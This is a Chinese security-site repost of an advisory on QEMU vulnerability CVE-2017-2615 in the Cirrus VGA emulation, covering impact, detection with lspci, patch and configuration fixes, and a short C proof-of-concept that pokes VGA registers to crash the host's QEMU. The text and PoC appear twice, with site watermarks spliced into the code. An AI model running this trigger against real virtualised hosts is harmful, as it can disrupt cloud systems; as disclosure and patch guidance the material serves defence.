欢迎来到 无奈人生 安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

比“毒液”更恐怖!QEMU再曝高危漏洞(更新PoC)

来源: 作者: 时间:2019-02-24 19:29 点击: 我要投稿
广告位API接口通信错误,查看德得广告获取帮助

漏洞描述
近期QEMU官方修复了由360GearTeam研究员李强报告的一个严重漏洞CVE-2017-2615,这是QEMU的VGA设备Cirrus CLGD 54xx VGA中存在一个内存越界访问读写漏洞,可以造成宿主机层面的任意代码执行,Xen官方对此漏洞编号为XSA-208。
QEMU是全球流行的开源虚拟化软件。黑客攻击者一旦利用QEMU漏洞控制宿主机,除了利用宿主机强大的性能,可以进行比特币挖矿、密码暴力破解,还可窃取宿主机所有的虚拟机数据甚至进一步的云平台内部横向攻击,危害非常严重。
由于历史原因及软件兼容性的考虑,很长一段时间QEMU的默认VGA设备是Cirrus CLGD 54xx VGA。使用QEMU作为用户态模拟的虚拟化软件如KVM,Xen(HVM模式)的VGA也默认是Cirrus,所以该漏洞会影响到使用KVM及Xen的云平台。
经过实际的版本比对分析,国内主流的公有云平台受到此漏洞影响,应尽快执行升级修复,目前已经有相关受影响公有云平台启动了修复计划。

漏洞检测
由于该漏洞存在于cirrus vga的模拟中,可以在guest中直接执行lspci(相关的软件包是pciutils)查看vga是否是cirrus,如果是则存在该漏洞,如下图:

修复方案
经过360GearTeam安全团队的分析,建议参考以下任一策略进行修复。
1. 自行更新QEMU版本或更新对补丁进行修复
补丁链接: https://lists.gnu.org/archive/html/qemu-devel/2017-02/msg00015.html

2. 修改启动虚拟机相关选项,不使用cirrus vga,改用std vga或者virtio vga
事实上,cirrus vga是90年代早期的设备,存在各种bug和安全问题。详细可以参考qemu vga的维护者Gerd Hoffmann的这篇文章qemu: using cirrus considered harmful(https://www.kraxel.org/blog/2014/10/qemu-using-cirrus-considered-harmful/ )。在qemu的upstream中,已经准备放弃cirrus显卡模拟。
漏洞细节
该漏洞存在于Cirrus VGA的bitblt操作中,bitblt是bit block transfer的缩写。在VGA模拟中,会分配一段内存vram作为VGA的显示区域,进行bitblt的拷贝操作时,会在这个内存区域中进行数据的拷贝与传输。
该漏洞即发生在向后拷贝的安全检查中,直接看补丁。

在补丁中,pitch
运行PoC(漏洞验证代码)之后,在宿主机可以看到QEMU处于一个不正常的状态。

更新PoC
/*
 *  CVE-2017-2615 PoC
 *
 *  Qiang Li of the Gear Team, Qihoo 360 Inc.
 * 
 *  #gcc poc.c -o poc
 *  #./poc
 *
*/
#include
#include
 
void write_sr(int idx,int val)
{
      outb(idx,0x3c4);
      outb(val,0x3c5);
}
void write_gr(int idx,int val)
{
        outb(idx,0x3ce);
        outb(val,0x3cf);
}
 
int main()
{
        iopl(3);
        write_sr(0x07,1);
        write_gr(0x31,0x80);
        write_gr(0x26,0xff);
        write_gr(0x27,0xff);
        write_gr(0x24,1);
        write_gr(0x20,0xff);
        write_gr(0x21,0xff);
        write_gr(0x22,0x0);
        write_gr(0x23,0x0);
        write_gr(0x28,0);
        write_gr(0x29,0);
        write_gr(0x2a,0);
        write_gr(0x2c,0xff);
        write_gr(0x2d,0xff);
        write_gr(0x2e,0xff);
        write_gr(0x30,1);
        write_gr(0x2a,0);
        return 0;
}
 

漏洞描述
近期QEMU官方修复了由360GearTeam研究员李强报告的一个严重漏洞CVE-2017-2615,这是QEMU的VGA设备Cirrus CLGD 54xx VGA中存在一个内存越界访问读写漏洞,可以造成宿主机层面的任意代码执行,Xen官方对此漏洞编号为XSA-208。
QEMU是全球流行的开源虚拟化软件。黑客攻击者一旦利用QEMU漏洞控制宿主机,除了利用宿主机强大的性能,可以进行比特币挖矿、密码暴力破解,还可窃取宿主机所有的虚拟机数据甚至进一步的云平台内部横向攻击,危害非常严重。
由于历史原因及软件兼容性的考虑,很长一段时间QEMU的默认VGA设备是Cirrus CLGD 54xx VGA。使用QEMU作为用户态模拟的虚拟化软件如KVM,Xen(HVM模式)的VGA也默认是Cirrus,所以该漏洞会影响到使用KVM及Xen的云平台。
经过实际的版本比对分析,国内主流的公有云平台受到此漏洞影响,应尽快执行升级修复,目前已经有相关受影响公有云平台启动了修复计划。

漏洞检测 内容来自无奈安全网
由于该漏洞存在于cirrus vga的模拟中,可以在guest中直接执行lspci(相关的软件包是pciutils)查看vga是否是cirrus,如果是则存在该漏洞,如下图:

修复方案
经过360GearTeam安全团队的分析,建议参考以下任一策略进行修复。
1. 自行更新QEMU版本或更新对补丁进行修复
补丁链接: https://lists.gnu.org/archive/html/qemu-devel/2017-02/msg00015.html

2. 修改启动虚拟机相关选项,不使用cirrus vga,改用std vga或者virtio vga
事实上,cirrus vga是90年代早期的设备,存在各种bug和安全问题。详细可以参考qemu vga的维护者Gerd Hoffmann的这篇文章qemu: using cirrus considered harmful(https://www.kraxel.org/blog/2014/10/qemu-using-cirrus-considered-harmful/ )。在qemu的upstream中,已经准备放弃cirrus显卡模拟。 内容来自无奈安全网
漏洞细节
该漏洞存在于Cirrus VGA的bitblt操作中,bitblt是bit block transfer的缩写。在VGA模拟中,会分配一段内存vram作为VGA的显示区域,进行bitblt的拷贝操作时,会在这个内存区域中进行数据的拷贝与传输。
该漏洞即发生在向后拷贝的安全检查中,直接看补丁。

在补丁中,pitch
运行PoC(漏洞验证代码)之后,在宿主机可以看到QEMU处于一个不正常的状态。

更新PoC
/*
 *  CVE-2017-2615 PoC
 *
 *  Qiang Li of the Gear Team, Qihoo 360 Inc.
 * 
 *  #gcc poc.c -o poc
 *  #./poc
 *
*/
#include
#include
 
void write_sr(int idx,int val) copyright 无奈人生
{
      outb(idx,0x3c4);
      outb(val,0x3c5);
}
void write_gr(int idx,int val)
{
        outb(idx,0x3ce);
        outb(val,0x3cf);
}
 
int main()
{
        iopl(3);
        write_sr(0x07,1);
        write_gr(0x31,0x80);
        write_gr(0x26,0xff);
        write_gr(0x27,0xff);
        write_gr(0x24,1);
        write_gr(0x20,0xff);
        write_gr(0x21,0xff);
        write_gr(0x22,0x0);
        write_gr(0x23,0x0);
        write_gr(0x28,0);

copyright 无奈人生

        write_gr(0x29,0);
        write_gr(0x2a,0);
        write_gr(0x2c,0xff);
        write_gr(0x2d,0xff);
        write_gr(0x2e,0xff);
        write_gr(0x30,1);
        write_gr(0x2a,0);
        return 0;
}
  无奈人生安全网

。 (责任编辑:admin)
【声明】:无奈人生安全网(http://www.wnhack.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱472701013@qq.com,我们会在最短的时间内进行处理。